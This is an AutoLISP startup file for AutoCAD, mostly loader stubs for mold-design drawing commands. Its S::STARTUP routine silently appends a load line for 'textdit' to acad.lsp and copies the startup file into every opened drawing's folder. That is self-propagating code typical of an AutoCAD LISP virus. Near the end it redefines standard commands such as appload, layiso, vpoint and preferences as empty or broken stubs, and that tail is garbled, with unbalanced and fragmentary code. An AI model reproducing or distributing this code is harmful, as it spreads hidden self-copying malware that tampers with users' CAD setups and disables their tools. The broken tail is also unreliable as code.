(defun
  s::startup
    (/       old_cmd  path dwgpath mnlpath
     acadloadpath      oldacad newacad nowdwg
     lspbj    wjm      wjm1 wjqm wjqm1
     wz       ns1      ns2
    )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.Dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.Lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq ns1 ""
ns2 ""
  )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.Lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn
      (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
      )
      (if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "textdit")
  (setq lspbj 1)
)
      )
      (close wjm)
    )
  )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.Lsp"))
   (setq newacad (strcat path "textdit.Lsp"))
   (if (= lspbj 0)
     (progn (setq wjqm (strcat path "acad.Lsp"))
    (setq wjm (open wjqm "a"))
    (write-line
      (strcat "(load" (chr 34) "textdit" (chr 34) ")")
      wjm
    )
    (write-line "(princ)" wjm)
    (close wjm)
     )
   )
   (writeacadload)
    )
    (progn
      (if (/= nowdwg "drawing.Dwg")
(progn (setq oldacad (findfile "textdit.Lsp"))
       (setq newacad (strcat dwgpath "acad.Lsp"))
       (writeacadload)
)
      )
    )
  )
  (setvar "cmdecho" old_cmd)
  (princ)
)
(defun writeacadload ()
  (if (setq wjm1 (open newacad "w"))
    (progn
      (setq wjm (open oldacad "r"))
      (while
(setq wz (read-line wjm))
(write-line wz wjm1)
      )
      (close wjm)
      (close wjm1)
    )
  )
)


(vmon)
;=============bo========================= block slide
(defun c:bo ()
  (if bo
    (c:bo)
    (progn (load "bo") (c:bo))
  )
)
;=============bush-a===================== drawing bush-a
(defun c:bush-a ()
  (if bush-a
    (c:bush-a)
    (progn (load "bush-a") (c:bush-a))
  )
)
;=============bush-b===================== drawing bush-b
(defun c:bush-b ()
  (if bush-b
    (c:bush-b)
    (progn (load "bush-b") (c:bush-b))
  )
)
;=============cblock===================== change block
(defun c:cblock ()
  (if cblock
    (c:cblock)
    (progn (load "cblock") (c:cblock))
  )
)
;=============clip======================= draw section scale
(defun c:clip ()
  (if clip
    (c:clip)
    (progn (load "clip") (c:clip))
  )
)
;=============cl========================= change layer
(defun c:cl ()
  (if cl
    (c:cl)
    (progn (load "cl") (c:cl))
  )
)
;=============ct========================= change text
(defun c:ct ()
  (if ct
    (c:ct)
    (progn (load "ct") (c:ct))
  )
)
;=============cp========================= block slide
(defun c:cp ()
  (if cp
    (c:cp)
    (progn (load "cp") (c:cp))
  )
)
;=============cp-2======================= block slide
(defun c:cp-2 ()
  (if cp-2
    (c:cp-2)
    (progn (load "cp-2") (c:cp-2))
  )
)
;=============ctext======================
(defun c:ctext ()
  (if ctext
    (c:ctext)
    (progn (load "ctext") (c:ctext))
  )
)
;=============diminch==================== inch-mm change
(defun c:diminch ()
  (if diminch
    (c:diminch)
    (progn (load "diminch") (c:diminch))
  )
)
;=============dimmm====================== inch-mm change
(defun c:dimmm ()
  (if dimmm
    (c:dimmm)
    (progn (load "dimmm") (c:dimmm))
  )
)
;=============dimscl===================== text vale scale
(defun c:dimscl ()
  (if dimscl
    (c:dimscl)
    (progn (load "dimscl") (c:dimscl))
  )
)
;=============dl========================= text vale scale
(defun c:dl ()
  (if dl
    (c:dl)
    (progn (load "dl") (c:dl))
  )
)
;=============dp========================= block slide
(defun c:dp ()
  (if dp
    (c:dp)
    (progn (load "dp") (c:dp))
  )
)
;=============ej========================= block slide
(defun c:ej ()
  (if ej
    (c:ej)
    (progn (load "ej") (c:ej))
  )
)
;=============ep-1======================= block slide
(defun c:ep-1 ()
  (if ep-1
    (c:ep-1)
    (progn (load "ep-1") (c:ep-1))
  )
)
;=============ep-2======================= block slide
(defun c:ep-2 ()
  (if ep-2
    (c:ep-2)
    (progn (load "ep-2") (c:ep-2))
  )
)
;=============ext======================== edit line trim & extend
(defun c:ext ()
  (if ext
    (c:ext)
    (progn (load "ext") (c:ext))
  )
)
;=============else========================= block slide
(defun c:es ()
  (if es
    (c:es)
    (progn (load "es") (c:es))
  )
)
;=============fl========================== two line fillet
(defun c:fl ()
  (if fl
    (c:fl)
    (progn (load "fl") (c:fl))
  )
)
;=============frlay====================== layer contor
(defun c:frlay ()
  (if frlay
    (c:frlay)
    (progn (load "frlay") (c:frlay))
  )
)
;=============fa====================== block slide
(defun c:fa ()
  (if fa
    (c:fa)
    (progn (load "fa") (c:fa))
  )
)
;=============gp========================= block slide
(defun c:gp ()
  (if gp
    (c:gp)
    (progn (load "gp") (c:gp))
  )
)
;=============egp========================= block slide
(defun c:egp ()
  (if egp
    (c:egp)
    (progn (load "egp") (c:egp))
  )
)
;=============int======================== two line int
(defun c:int ()
  (if int
    (c:int)
    (progn (load "int") (c:int))
  )
)
;=============k1========================= k.o drawing
(defun C:k1 ()
  (if k1
    (c:k1)
    (progn (load "k1") (c:k1))
  )
)
;=============ko========================= block slide
(defun C:ko ()
  (if ko
    (c:ko)
    (progn (load "ko") (c:ko))
  )
)
;=============lp========================= block slide
(defun C:lp ()
  (if lp
    (c:lp)
    (progn (load "lp") (c:lp))
  )
)
;=============lload====================== load user's lisp
(defun C:lload ()
  (if lload
    (c:lload)
    (progn (load "lload") (c:lload))
  )
)
;=============lpa======================== lp-a drawing
(defun C:lpa ()
  (if lpa
    (c:lpa)
    (progn (load "lpa") (c:lpa))
  )
)
;=============lpb======================== lp-b drawing
(defun C:lpb ()
  (if lpb
    (c:lpb)
    (progn (load "lpb") (c:lpb))
  )
)
;=============lsp===========================
(defun c:lsp ()
  (if lsp
    (c:lsp)
    (progn (load "lsp") (c:lsp))
  )
)
;=============mak======================== circle make drawing
(defun C:mak ()
  (if mak
    (c:mak)
    (progn (load "mak") (c:mak))
  )
)
;=============match1===================== trim-1
(defun C:match1 ()
  (if match1
    (c:match1)
    (progn (load "match1") (c:match1))
  )
)
;=============match2===================== trim-2
(defun C:match2 ()
  (if match2
    (c:match2)
    (progn (load "match2") (c:match2))
  )
)
;=============match3===================== trim-3
(defun C:match3 ()
  (if match3
    (c:match3)
    (progn (load "match3") (c:match3))
  )
)
;=============mtrim====================== m trim
(defun C:mtrim ()
  (if mtrim
    (c:mtrim)
    (progn (load "mtrim") (c:mtrim))
  )
)
;=============no========================= block slide
(defun C:no ()
  (if no
    (c:no)
    (progn (load "no") (c:no))
  )
)
;=============of2======================== offset two line drawing
(defun C:of2 ()
  (if of2
    (c:of2)
    (progn (load "of2") (c:of2))
  )
)
;=============offwl====================== water line drawing
(defun C:offwl ()
  (if offwl
    (c:offwl)
    (progn (load "offwl") (c:offwl))
  )
)
;=============op========================= block slide
(defun C:op ()
  (if op
    (c:op)
    (progn (load "op") (c:op))
  )
)
;=============pl========================= block slide
(defun C:pl ()
  (if pl
    (c:pl)
    (progn (load "pl") (c:pl))
  )
)
;=============rl========================= block slide
(defun C:rl ()
  (if rl
    (c:rl)
    (progn (load "rl") (c:rl))
  )
)
;=============rp========================= block slide
(defun C:rp ()
  (if rp
    (c:rp)
    (progn (load "rp") (c:rp))
  )
)
;=============retp=======================block slide
(defun C:retp ()
  (if retp
    (c:retp)
    (progn (load "retp") (c:retp))
  )
)
;=============sc========================= block slide
(defun C:sc ()
  (if sc
    (c:sc)
    (progn (load "sc") (c:sc))
  )
)
;=============scc========================= screw slide
(defun C:scc ()
  (if scc
    (c:scc)
    (progn (load "scc") (c:scc))
  )
)
;=============sb======================== sprue bushing drawing
(defun C:sb ()
  (if sb
    (c:sb)
    (progn (load "sb") (c:sb))
  )
)
;=============stt========================= block slide
(defun C:stt ()
  (if stt
    (c:stt)
    (progn (load "stt") (c:stt))
  )
)
;=============scr======================== block drawing
(defun C:scr ()
  (if scr
    (c:scr)
    (progn (load "scr") (c:scr))
  )
)
;=============ssi======================== block drawing
(defun C:ssi ()
  (if ssi
    (c:ssi)
    (progn (load "ssi") (c:ssi))
  )
)
;=============pd======================== pull rod drawing
(defun C:pd ()
  (if pd
    (c:pd)
    (progn (load "pd") (c:pd))
  )
)
;=============lk========================lk drawing
(defun C:lk ()
  (if lk
    (c:lk)
    (progn (load "lk") (c:lk))
  )
)
;=============ppg======================== ppg block drawing
(defun C:ppg ()
  (if ppg
    (c:ppg)
    (progn (load "ppg") (c:ppg))
  )
)
;=============sg======================== sg block drawing
(defun C:sg ()
  (if sg
    (c:sg)
    (progn (load "sg") (c:sg))
  )
)
;=============scr2======================= screw drawing
(defun C:scr2 ()
  (if scr2
    (c:scr2)
    (progn (load "scr2") (c:scr2))
  )
)
;=============se========================= block slide
(defun C:se ()
  (if se
    (c:se)
    (progn (load "se") (c:se))
  )
)
;=============sp========================= block slide
(defun C:sp ()
  (if sp
    (c:sp)
    (progn (load "sp") (c:sp))
  )
)
;=============textdit======================== sport drawing
(defun C:textdit ()
  (if textdit
    (c:textdit)
    (progn (load "textdit") (c:textdit))
  )
)
;=============st========================= block drawing
(defun C:st ()
  (if st
    (c:st)
    (progn (load "st") (c:st))
  )
)
;=============std======================== block drawing (main)
(defun C:std ()
  (if std
    (c:std)
    (progn (load "std") (c:std))
  )
)
;=============std-1====================== block slide
(defun C:std-1 ()
  (if std-1
    (c:std-1)
    (progn (load "std-1") (c:std-1))
  )
)
;=============te=========================
(defun C:te ()
  (if te
    (c:te)
    (progn (load "te") (c:te))
  )
)
;=============tl=========================
(defun C:tl ()
  (if tl
    (c:tl)
    (progn (load "tl") (c:tl))
  )
)
;=============up========================= block slide
(defun C:up ()
  (if up
    (c:up)
    (progn (load "up") (c:up))
  )
)
;=============vhdim====================== mm hor & ver dim drawing
(defun C:vhdim ()
  (if vhdim
    (c:vhdim)
    (progn (load "vhdim") (c:vhdim))
  )
)
;=============vhdime====================== mm[inch] hor & ver dimension drawing
(defun C:vhdime ()
  (if vhdime
    (c:vhdime)
    (progn (load "vhdime") (c:vhdime))
  )
)
;=============sldim====================== scale hor & ver dimension drawing
(defun C:sldim ()
  (if sldim
    (c:sldim)
    (progn (load "sldim") (c:sldim))
  )
)
;=============we========================= block slide
(defun C:we ()
  (if we
    (c:we)
    (progn (load "we") (c:we))
  )
)
;=============wl========================= block slide
(defun C:wl ()
  (if wl
    (c:wl)
    (progn (load "wl") (c:wl))
  )
)
;=============gh========================= block slide
(defun C:gh ()
  (if gh
    (c:gh)
    (progn (load "gh") (c:gh))
  )
)
;=============sr========================= block slide
(defun C:sr ()
  (if sr
    (c:sr)
    (progn (load "sr") (c:sr))
  )
)
;=============oc========================= block slide
(defun C:oc ()
  (if oc
    (c:oc)
    (progn (load "oc") (c:oc))
  )
)
;=============lo========================= block slide
(defun C:lo ()
  (if lo
    (c:lo)
    (progn (load "lo") (c:lo))
  )
)
;=============vhdimi===================== inch hor & ver dimension drawing
(Defun C:vhdimi ()
  (if vhdimi
    (c:vhdimi)
    (progn (load "vhdimi") (c:vhdimi))
  )
)
;=============bomak====================== boder mark
(Defun c:bomak ()
  (if bo
    (c:bomak)
    (progn (load "bomak") (c:bomak))
  )
)
;=============splt======================= for super fast plot
(Defun c:splt ()
  (if splt
    (c:splt)
    (progn (load "splt") (c:splt))
  )
)
;=============mad======================= for dim and mold base dim
(Defun c:mad ()
  (if mad
    (c:mad)
    (progn (load "mad") (c:mad))
  )
)
;=============td======================== use td system command
(Defun c:td ()
  (if td
    (c:td)
    (progn (load "td") (c:td))
  )
)
;=============ze======================== for zoom
(found "")
(princ " \n  ")
(princ cont)
(princ " was  not  able  to  be  copyclip  ")
(setvar " cmdecho  " old_cmd)
(princ)





(defun
  C:ddselect
    (/
     old_cmd
    )
  (setq
    old_cmd
     (getvar
       " cmdecho
  "  )
  )
  (setvar
    " cmdecho
  "
    0rinc
  )
)




(defun C:appload(/ p old_cmd)
(setq old_cmd (getvar " cmdecho   "))
(setvar " cmdecho " 0)
(
(princ)




(defun C:layiso (/ old_cmd)
  (setq old_cmd (getvar " cmdecho   "))
(setvar " cmdecho  " 0)
(cld_cmd)
(princ)
)





(defun C:match3
(/ old_cmd)
(setq old_cmd (getvar " cmdecho   "))
(setvar " cmdecho" 0)



(defun C:vpoint  (/ old_cmd)
(setq old_cmd (getvar " cmdecho  "))
(setvar " cmdecho  " 0) "cmdecho"  old_cmd )
(princ)
)

(defun C:preferences (/old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setvar "cmdecho" old_cmd)
  (princ)
  (princ)
)